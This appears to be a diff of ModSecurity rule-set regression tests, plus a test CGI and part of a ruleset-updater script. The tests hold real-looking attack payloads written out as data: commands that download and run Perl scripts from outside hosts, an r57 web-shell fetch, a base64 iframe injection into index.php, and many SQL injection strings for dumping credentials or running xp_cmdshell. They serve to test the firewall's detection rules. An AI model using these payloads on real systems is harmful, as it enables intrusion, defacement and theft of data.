%var command=system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf *.txt');
%var command=http://ricky.ilmerlodellarocca.com/upload.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;%20appa.jpg;perl%20appa.jpg;rm%20-rf%20appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;mv%20ca.php%20ca.php;chmod%20755%20ca.php
%request
GET /?foo=$command HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test PHP Injection Attack (959151)
###################################
%output 959151
%var command=<?exec('wget%20http://r57.biz/r57.txt%20-O shell.php');?>
%var command=%3C%3Fphp%20echo(%5C%22KURWA%5C%22)%3B%20file_put_contents(%5C%22.%2Findex.php%5C%22%2C%20base64_decode(%5C%22Pz48aWZyYW1lIHNyYz0iaHR0cDovL3p1by5wb2Rnb3J6Lm9yZy96dW8vZWxlbi9pbmRleC5waHAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT48P3BocA%3D%3D%5C%22)%2C%20FILE_APPEND)%3B%20%3F%3E
%request
GET /?foo=$command HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test PHP Injection Attack (958976)
###################################
%output 958976|958977
%var php_code=%20%20if%20(!function_exists(%22fs_copy_dir%22))%20%7B%0A%20%20%20%20function%20fs_copy_dir(%24d%2C%24t)%20%7B%0A%20%20%20%20%20%20%24d%20%3D%20str_replace(%22%5C%5C%22%2CDIRECTORY_SEPARATOR%2C%24d)%3B%0A%20%20%20%20%20%20if%20(substr(%24d%2C-1)%20!%3D%20DIRECTORY_SEPARATOR)%20%7B%24d%20.%3D%20DIRECTORY_SEPARATOR%3B%7D%0A%20%20%20%20%20%20%24h%20%3D%20opendir(%24d)%3B%0A%20%20%20%20%20%20while%20((%24o%20%3D%20readdir(%24h))%20!%3D%3D%20FALSE)%20%7B%0A%20%20%20%20%20%20%20%20if%20((%24o%20!%3D%20%22.%22)%20and%20(%24o%20!%3D%20%22..%22))%20%7B%0A%20%20%20%20%20%20%20%20%20%20if%20(!is_dir(%24d.DIRECTORY_SEPARATOR.%24o))%20%7B%24ret%20%3D%20copy(%24d.DIRECTORY_SEPARATOR.%24o%2C%24t.DIRECTORY_SEPARATOR.%24o)%3B%7D%0A%20%20%20%20%20%20%20%20%20%20else%20%7B%24ret%20%3D%20mkdir(%24t.DIRECTORY_SEPARATOR.%24o)%3B%20fs_copy_dir(%24d.DIRECTORY_SEPARATOR.%24o%2C%24t.DIRECTORY_SEPARATOR.%24o)%3B%7D%0A%20%20%20%20%20%20%20%20%20%20if%20(!%24ret)%20%7Breturn%20%24ret%3B%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20closedir(%24h)%3B%0A%20%20%20%20%20%20return%20TRUE%3B%0A%20%20%20%20%7D
%var php_code=echo%20sr(15%2C%22%3Cb%3E%22.%24lang%5B%24language.'_text16'%5D.%24arrow.%22%3C%2Fb%3E%22%2C%22%3Cselect%20name%3D%5C%22method%5C%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22system%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22system%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Esystem%3C%2Foption%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22passthru%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22passthru%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Epassthru%3C%2Foption%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22exec%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22exec%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Eexec%3C%2Foption%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22shell_exec%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22shell_exec%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Eshell_exec%3C%2Foption%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22popen%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22popen%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Epopen%3C%2Foption%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Coption%20value%3D%5C%22proc_open%5C%22%20%3C%3F%20if%20(%24method%3D%3D%5C%22proc_open%5C%22)%20%7B%20echo%20%5C%22selected%5C%22%3B%20%7D%20%3F%3Eproc_open%3C%2Foption%3E
%request
POST / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: $CONTENT_LENGTH
body=$php_code
%endtest

View File

@@ -0,0 +1,208 @@
%timeout 10
# File 41 SQL Injection Attacks
%request
GET /?v=$sig HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.
Keep-Alive: 300
Proxy-Connection: keep-alive
%test SQL Comment Sequence Detected (981231)
########################################
%output 981231
%var sig=SELECT%2F*avoid-spaces*%2Fpassword%2F**%2FFROM%2F**%2FMembers
%var sig=%E2%80%98%20or%201%3D1%23%0A
%var sig=%E2%80%98%20or%201%3D1--%20-
%endtest
%test SQL Hex Encoding Identified (981260)
########################################
%output 981260
%var sig=1%20and%201%3D0%20%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D%2Ctable_name%2C0x5B6B65795D)))%20%20%20FROM%20INFORMATION_SCHEMA.tables%20where%20table_schema%3DConcat(char(109)%2Cchar(101)%2Cchar(115)%2Cchar(115)%2Cchar(110)%2Cchar(101)%2Cchar(114)%2Cchar(98)%2Cchar(95)%2Cchar(119)%2Cchar(114)%2Cchar(100)%2Cchar(49)%2Cchar(50))%20LIMIT%201%2C1--
%var sig=999999.9%20union%20all%20select%200x31303235343830303536%2C0x31303235343830303536--
%endtest
%test SQL Injection Attack: Common Injection Testing Detected (981318)
########################################
%output 981318
%var sig='%20and%200%20union%20select%201%2C2%2C3%2Cusername%2C5%2Cpassword%2C7%2C8%2C9%2C10%2C11%20from%20%23__users%23
%var sig=-1)%20UNION%20SELECT%201%2C2%2C3%2Cconcat(USER()%2C'
%endtest
%test SQL Injection Attack: SQL Operator Detected (981319)
########################################
%output 981319
%var sig=-4%20union%20select%201%2C2%2C(select(%40x)from(select(%40x%3A%3D0x00)%2C(select(null)from(information_schema.columns)where(table_schema!%3D0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(%40x%3A%3Dconcat(%40x%2C0x3c62723e%2Ctable_schema%2C0x2e%2Ctable_name%2C0x3a%2Ccolumn_name))))x)--
%var sig=14380586%20and%20user()%3C%3E1
%var sig=2946%20and%20ascii(substring((user())%2C1%2C1))%3E%3D1%2F*
%endtest
%test SQL Injection Attack: SQL Tautology Detected (950901)
########################################
%output 950901
%var sig=-9'%20union%20select%20concat(version())%2C2%2C3%2C4%2C5%2C6and'1'%3D'1
%var sig=1'%20or%20'1'!%3D'2%20order%20by%201--
%endtest
%test SQL Injection Attack: Common DB Names Detected (981320)
########################################
%output 981320
%var sig=3%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2Cconcat(user()%2Cversion()%2Cdatabase())%2C8%20from%20information_schema.tables
%var sig=918%20union%20select%200%2C1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%20from%20msysobjects%20in%20'.'
%endtest
%test SQL SELECT Statement Anomaly Detection Alert (981317)
########################################
%output 981317
%var sig=247'%20and%201%3D1%20union%20all%20select%201%2C2%2C3%2C4%2C5%2Cconcat(username%2Cchar(58)%2Cpasswort)%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%20from%20az_user%2F*
%var sig=5%20and%201%3D(select%20first%201%20distinct%20rdb%24relation_name%20from%20rdb%24relations%20where%20rdb%24system_flag%3D0)--
%endtest
%test Blind SQL Injection Attack (950007)
########################################
%output 950007
%var sig=-2511%20union%20select%20table_name%20from%20sys.all_tables--
%var sig=1%20union%20select%201%2Cnull%2Cnull%2Cnull%2Ctable_name%7C%7Cchr(58)%7C%7Ccolumn_name%7C%7Cchr(58)%7C%7Cdata_type%20from%20(select%20a.*%2Crownum%20rnum%20from%20(select%20*%20from%20user_tab_columns%20where%20table_name%3Dchr(76)%7C%7Cchr(79)%7C%7Cchr(71)%7C%7Cchr(73)%7C%7Cchr(78)%7C%7Cchr(83)%20order%20by%20column_name)%20a%20where%20rownum%20%3C%3D%201)%20where%20rnum%20%3E%3D%201--
%endtest
%test SQL Injection Attack (950001)
########################################
%output 950001
%var sig=10%20UNION%20exec%20master..xp_cmdshell%20'dir'
%var sig=1'%20or%20(select%20count(*)%20from%20(select%201%20union%20select%202%20union%20select%203)x%20group%20by%20concat(mid(concat_ws(0x0b%2Cversion()%2Cuser()%2Cdatabase()%2C%40%40version_compile_os%2C0x0b)%2C1%2C63)%2C%20floor(rand(0)*2)))--
%endtest
%test SQL Injection Attack (959070)
########################################
%output 959070
%var sig=-247%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2Cconcat_ws(0x3a%2Cversion()%2Cdatabase()%2CuseR())%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C38%2C39%0A1%20having%201%3D1--
%var sig=256%20%20AND%201%3Cascii(substring((SELECT%20column_name%20FROM%20information_schema.columns%20WHERE%20table_name%20like%20char(105%2C109%2C103%2C101%2C115)%20limit%201%2C1)%2C1%2C1))
%endtest
%test SQL Injection Attack (959071)
########################################
%output 959071
%var sig=1'%20or%201%3D(SELECT%20TOP%201%20email%20FROM%20cdrequests%20where%20id%3D2000)--
%var sig=1'%20or%20'1'%3D'1%20order%20by%201--
%endtest
%test SQL Injection Attack (959072)
########################################
%output 959072
%var sig=99999999%20and%201%3D2%20union%20select%201%2Cconcat(user()%2Cchar(58)%2Cversion()%2Cchar(58)%2Cdatabase())%2C3%2C4%2F*
%var sig=-9'%20union%20select%20concat(version())%2C2%2C3%2C4%2C5%2C6%2Cand'1'%3D'1
%endtest
%test SQL Injection Attack (950908)
########################################
%output 950908
%var sig=6%20AND%20ASCII(SUBSTR((COALESCE(5%2C%20NULL))%2C%201%2C%201))%20%3E%2063
%endtest
%test SQL Injection Attack (959073)
########################################
%output 959073
%var sig=-120%20union%20all%20select%201%2Ccast(table_name%20as%20text)%20from%20information_schema.columns--
%var sig=-1100%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2Cconcat_ws(0x2b%2Cversion()%2Cuser()%2C%40%40version_compile_os)%2C10%2C11%2C12%20--
%endtest
%test Detects blind sqli tests using sleep() or benchmark() (981272)
########################################
%output 981272
%var sig=-207%20union%20select%201%2Cconcat(%40i%3A%3D0x00%2C%40o%3A%3D0x0d0a%2Cbenchmark(23%2C%40o%3A%3DCONCAT(%40o%2C0x0d0a%2C(SELECT%20concat(table_schema%2C0x2E%2C%40i%3A%3Dtable_name)%20from%20information_schema.tables%20WHERE%20table_name%3E%40i%20order%20by%20table_name%20LIMIT%201)))%2C%40o)%2C3%2C4%2C5--
%var sig=13%20and%20sleep(3)%23
%endtest
%test Detects basic SQL authentication bypass attempts 1/3 (981244)
########################################
%output 981244
%var sig=aaa'%20or%20(1)%3D(1)%20%23!asd
%var sig=aa'%20LIKE%20md5(1)%20or%20'1
%endtest
%test Detects MSSQL code execution and information gathering attempts (981255)
########################################
%output 981255
%var sig='%20union%20select%20concat(UserId%2Cchar(58)%2CUserPassword)%20from%20users%20into%20outfile%20'content%2F1.php'%2F*
%var sig=1'%20or%201%3D(%40%40version%20)%3Bexec%20master..xp_cmdshell
%endtest
%test Detects MySQL comment-/space-obfuscated injections and backtick termination (981257)
########################################
%output 981257
%var sig=1%0bAND(SELECT%0b1%20FROM%20mysql.x)
%endtest
%test Detects chained SQL injection attempts 1/2 (981248)
########################################
%output 981248
%var sig=0%20div%201%20-%20union%23foo*%2F*bar%0Aselect%23foo%0A1%2C2%2Ccurrent_user
%endtest
%test Detects SQL benchmark and sleep injection attempts including conditional queries (981250)
########################################
%output 981250
%var sig=SELECT%20BENCHMARK(1000000%2CMD5(%E2%80%98A%E2%80%99))%3B
%var sig=SELECT%20SLEEP(5)%3B%20%23%20%3E%3D%205.0.12
%endtest
%test Detects conditional SQL injection attempts (981241)
########################################
%output 981241
%var sig=1194%20or%201%20group%20by%20concat(version()%2Cfloor(rand(0)*2))having%20min(0)%20or%201--
%endtest
%test Detects MySQL charset switch and MSSQL DoS attempts (981252)
########################################
%output 981252
%var sig=-1'%3B%20if%20'1'%3D'1'%3B%20waitfor%20time%20'00%3A00%3A01'--
%endtest
%test Detects MATCH AGAINST, MERGE, EXECUTE IMMEDIATE and HAVING injections (981256)
########################################
%output 981256
%var sig=-148)%20or%201%20group%20by%20concat(%40%40version%2Cfloor(rand(0)*2))%20having%20min(0)%20or%201%20--
%endtest
%test Detects basic SQL authentication bypass attempts 2/3 (981245)
########################################
%output 981245
%var sig=-121%20union%20all%20select%201%2Cgroup_concat(Username%2C0x3a%2CPassword%2C0x3a%2CUserGroup)%2C3%2C4%2C5%20from%20uvp_Users
%var sig=-10'%20union%20select%201%2Cconcat_ws(0x3a%2Ctable_name%2Ctable_schema)%2C3%20from%20information_schema.columns%20where%20column_name%20like%20'name'%23
%endtest

View File

@@ -0,0 +1,140 @@
# FILE 50
%timeout 10
%test weblogic information disclosure
########################################
%event 970021
%output 970021
%request
GET /cgi-bin/testserver.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
Response-Status: 500 Internal Server Error
Response-Content: <title>JSP compile error</title>
%endtest
%test Zope information leakage
########################################
%event 970007
%output 970007
%request
GET /cgi-bin/testserver.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
Response-Content: <h2>Site Error</h2> <p>An error was encountered while publishing this resource.
%endtest
%test CF information leakage
########################################
%event 970008
%output 970008
%request
GET /cgi-bin/testserver.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
Response-Content: The error occurred in script.cfm: line 11 bla bla bla Please try the following: <br> Check the ColdFusion documentation to verify that you are using the correct syntax. bla bla Stack Trace (click to expand)
%endtest
%test PHP information leakage
########################################
%event 970009
%output 970009
%request
GET /cgi-bin/testserver.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
Response-Content: <b>Warning</b> mysql_fetch_row(): supplied argument ... in /web/jvcjazz/intl_view.php on line 142
%endtest
%test ISA server existence revealed
########################################
%event 970010
%output 970010
%request
GET /cgi-bin/testserver.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
Response-Content: 403 Forbidden - The ISA Server denies the specified Uniform Resource ...bla bla bla... Internet Security and Acceleration Server
%endtest
%test Local file link
########################################
%event 970011
%output 970011
%request
GET /cgi-bin/testserver.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
Response-Content: <a href="c:\\documents\\sensitive.doc">This is my sensitive data, do not touch</a>
%endtest
%test Microsoft office doc properties leakage
########################################
%event 970012
%output 970012
%request
GET /cgi-bin/testserver.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
Response-Content: <o:documentproperties>
%endtest
%test Directory Listing (apache)
########################################
%event 971200
%output 971200
%request
GET /cgi-bin/testserver.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
Response-Content: <html> <head> <title>Index of /~avi</title> </head> <body><h1>Index of /~avi</h1><table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr><tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/~avi/">Parent Directory</a> </td><td>&nbsp;</td><td align="right"> - </td></tr><tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="03.17/">03.17/</a> </td><td align="right">21-Jul-2007 17:20 </td><td align="right"> - </td></tr>
%endtest
%test CF source code leakage
########################################
%event 970016
%output 970016
%request
GET /cgi-bin/testserver.cgi HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Proxy-Connection: keep-alive
Response-Content: <cf
%endtest

View File

@@ -0,0 +1,18 @@
#!/usr/bin/perl
use CGI qw/:standard/;
$response_status = http('Response-Status') || "200 OK";
$response_content = http('Response-Content');
$response_type = http('Response-Content-Type') || "text/html";
$response_new_header_name = http('Response-Header-Name');
$response_new_header_value = http('Response-Header-Value');
$response_new_header = defined($response_new_header_name) ? $response_new_header_name . ': ' . $response_new_header_value : undef;
if (defined($response_new_header)) {
print header ($response_type, $response_status, undef, undef, undef, undef, undef, undef, undef,$response_new_header);
} else {
print header ($response_type, $response_status);
}
print start_html('rule set tester');
print h1('rule set tester');
print $response_content;

View File

@@ -0,0 +1,24 @@
# This is an example configuration to be used with ruleset-updator.pl -c
# The repository URI.
#RepositoryURI http://username:password@www.example.tld/repository/
RepositoryURI http://www.modsecurity.org/autoupdate/repository/
# Where to download the rulesets to
#LocalRepository /path/to/repository
# Where to unpack the rulesets (if Unpack is true)
#LocalRules /path/to/repository
# What version (or version prefix) to use
#Version 1.5
# Should we unpack the ruleset to LocalRules?
Unpack True
# Email update notifications
#NotifyEmail "modsec-admin@example.tld, someone@example.tld"
#NotifyEmailFrom "ModSec Rules Updater <modsec-updater@example.tld>"
# Output lots of debugging info?
Debug False

View File

@@ -0,0 +1,454 @@
#!/usr/bin/perl
#
# Fetches the latest ModSecurity Ruleset
#
use strict;
use Sys::Hostname;
use LWP::UserAgent ();
use LWP::Debug qw(-);
use URI ();
use HTTP::Date ();
use Cwd qw(getcwd);
use Getopt::Std;
my $VERSION = "0.0.1";
my($SCRIPT) = ($0 =~ m/([^\/\\]+)$/);
my $CRLFRE = qr/\015?\012/;
my $HOST = Sys::Hostname::hostname();
my $UNZIP = [qw(unzip -a)];
my $SENDMAIL = [qw(/usr/lib/sendmail -oi -t)];
my $HAVE_GNUPG = 0;
my %PREFIX_MAP = (
-dev => 0,
-rc => 1,
"" => 9,
);
my %GPG_TRUST = ();
my $REQUIRED_SIG_TRUST;
eval "use GnuPG qw(:trust)";
if ($@) {
warn "Could not load GnuPG module - cannot verify ruleset signatures\n";
}
else {
$HAVE_GNUPG = 1;
%GPG_TRUST = (
&TRUST_UNDEFINED => "not",
&TRUST_NEVER => "not",
&TRUST_MARGINAL => "marginally",
&TRUST_FULLY => "fully",
&TRUST_ULTIMATE => "ultimatly",
);
$REQUIRED_SIG_TRUST = &TRUST_FULLY;
}
################################################################################
################################################################################
my @fetched = ();
my %opt = ();
getopts('c:r:p:s:v:t:e:f:EuS:D:R:U:F:ldh', \%opt);
usage(1) if(defined $opt{h});
usage(1) if(@ARGV > 1);
# Make sure we have an action
if (! grep { defined } @opt{qw(S D R U F l)}) {
usage(1, "Action required.");
}
# Merge config with commandline opts
if ($opt{c}) {
%opt = parse_config($opt{c}, \%opt);
}
LWP::Debug::level("+") if ($opt{d});
# Make the version into a regex
if (defined $opt{v}) {
my($a,$b,$c,$d) = ($opt{v} =~ m/^(\d+)\.?(\d+)?\.?(\d+)?(?:-(\D+\d+$)|($))/);
if (defined $d) {
(my $key = $d) =~ s/^(\D+)\d+$/-$1/;
unless (exists $PREFIX_MAP{$key}) {
usage(1, "Invalid version (bad suffix \"$d\"): $opt{v}");
}
$opt{v} = qr/^$a\.$b\.$c-$d$/;
}
elsif (defined $c) {
$opt{v} = qr/^$a\.$b\.$c(?:-|$)/;
}
elsif (defined $b) {
$opt{v} = qr/^$a\.$b\./;
}
elsif (defined $a) {
$opt{v} = qr/^$a\./;
}
else {
usage(1, "Invalid version: $opt{v}");
}
if ($opt{d}) {
print STDERR "Using version regex: $opt{v}\n";
}
}
else {
$opt{v} = qr/^/;
}
# Remove trailing slashes from uri and path
$opt{r} =~ s/\/+$//;
$opt{p} =~ s/\/+$//;
# Required opts
usage(1, "Repository (-r) required.") unless(defined $opt{r});
usage(1, "Local path (-p) required.") unless(defined $opt{p} or defined $opt{l});
my $ua = LWP::UserAgent->new(
agent => "ModSecurity Updator/$VERSION",
keep_alive => 1,
env_proxy => 1,
max_redirect => 5,
requests_redirectable => [qw(GET HEAD)],
timeout => ($opt{t} || 600),
);
sub usage {
my $rc = defined($$_[0]) ? $_[0] : 0;
my $msg = defined($_[1]) ? "\n$_[1]\n\n" : "";
print STDERR << "EOT";
${msg}Usage: $SCRIPT [-c config_file] [[options] [action]
Options (commandline will override config file):
-r uri RepositoryURI Repository URI.
-p path LocalRepository Local repository path to use as base for downloads.
-s path LocalRules Local rules base path to use for unpacking.
-v text Version Full/partial version (EX: 1, 1.5, 1.5.2, 1.5.2-dev3)
-t secs Timeout Timeout for fetching data in seconds (default 600).
-e addr NotifyEmail Notify via email on update (comma separated list).
-f addr NotifyEmailFrom From address for notification email.
-u Unpack Unpack into LocalRules/version path.
-d Debug Print out lots of debugging.
Actions:
-S name Fetch the latest stable ruleset, "name"
-D name Fetch the latest development ruleset, "name"
-R name Fetch the latest release candidate ruleset, "name"
-U name Fetch the latest unstable (non-stable) ruleset, "name"
-F name Fetch the latest ruleset, "name"
-l Print listing of what is available
Misc:
-c Specify a config file for options.
-h This help
Examples:
# Get a list of what the repository contains:
$SCRIPT -rhttp://host/repo/ -l
# Get a partial list of versions 1.5.x:
$SCRIPT -rhttp://host/repo/ -v1.5 -l
# Get the latest stable version of "breach_ModSecurityCoreRules":
$SCRIPT -rhttp://host/repo/ -p/my/repo -Sbreach_ModSecurityCoreRules
# Get the latest stable 1.5 release of "breach_ModSecurityCoreRules":
$SCRIPT -rhttp://host/repo/ -p/my/repo -v1.5 -Sbreach_ModSecurityCoreRules
EOT
exit $rc;
}
sub sort_versions {
(my $A = $a) =~ s/^(\d+)\.(\d+)\.(\d+)(-[^-\d]+|)(\d*)$/sprintf("%03d%03d%03d%03d%03d", $1, $2, $3, $PREFIX_MAP{$4}, $5)/e;
(my $B = $b) =~ s/^(\d+)\.(\d+)\.(\d+)(-[^-\d]+|)(\d*)$/sprintf("%03d%03d%03d%03d%03d", $1, $2, $3, $PREFIX_MAP{$4}, $5)/e;
return $A cmp $B;
}
sub parse_config {
my($file,$clo) = @_;
my %cfg = ();
print STDERR "Parsing config: $file\n" if ($opt{d});
open(CFG, "<$file") or die "Failed to open config \"$file\": $!\n";
while(<CFG>) {
# Skip comments and empty lines
next if (/^\s*(?:#|$)/);
# Parse
chomp;
my($var,$q1,$val,$q2) = (m/^\s*(\S+)\s+(['"]?)(.*?)(\2)\s*$/);
# Fixup values
$var = lc($var);
if ($val =~ m/^(?:true|on)$/i) { $val = 1 };
if ($val =~ m/^(?:false|off)$/i) { $val = 0 };
# Set opts
if ($var eq "repositoryuri") { $cfg{r} = $val }
elsif ($var eq "localrepository") { $cfg{p} = $val }
elsif ($var eq "localrules") { $cfg{s} = $val }
elsif ($var eq "version") { $cfg{v} = $val }
elsif ($var eq "timeout") { $cfg{t} = $val }
elsif ($var eq "notifyemail") { $cfg{e} = $val }
elsif ($var eq "notifyemailfrom") { $cfg{f} = $val }
elsif ($var eq "notifyemaildiff") { $cfg{E} = $val }
elsif ($var eq "unpack") { $cfg{u} = $val }
elsif ($var eq "debug") { $cfg{d} = $val }
else { die "Invalid config directive: $var\n" }
}
close CFG;
my($k, $v);
while (($k, $v) = each %{$clo || {}}) {
$cfg{$k} = $v if (defined $v);
}
return %cfg;
}
sub repository_dump {
my @replist = repository_listing();
print STDERR "\nRepository: $opt{r}\n\n";
unless (@replist) {
print STDERR "No matching entries.\n";
return;
}
for my $repo (@replist) {
print "$repo {\n";
my @versions = ruleset_available_versions($repo);
for my $version (@versions) {
if ($version =~ m/$opt{v}/) {
printf "%15s: %s_%s.zip\n", $version, $repo, $version;
}
elsif ($opt{d}) {
print STDERR "Skipping version: $version\n";
}
}
print "}\n";
}
}
sub repository_listing {
my $res = $ua->get("$opt{r}/.listing");
unless ($res->is_success()) {
die "Failed to get repository listing \"$opt{r}/.listing\": ".$res->status_line()."\n";
}
return grep(/\S/, split(/$CRLFRE/, $res->content)) ;
}
sub ruleset_listing {
my $res = $ua->get("$opt{r}/$_[0]/.listing");
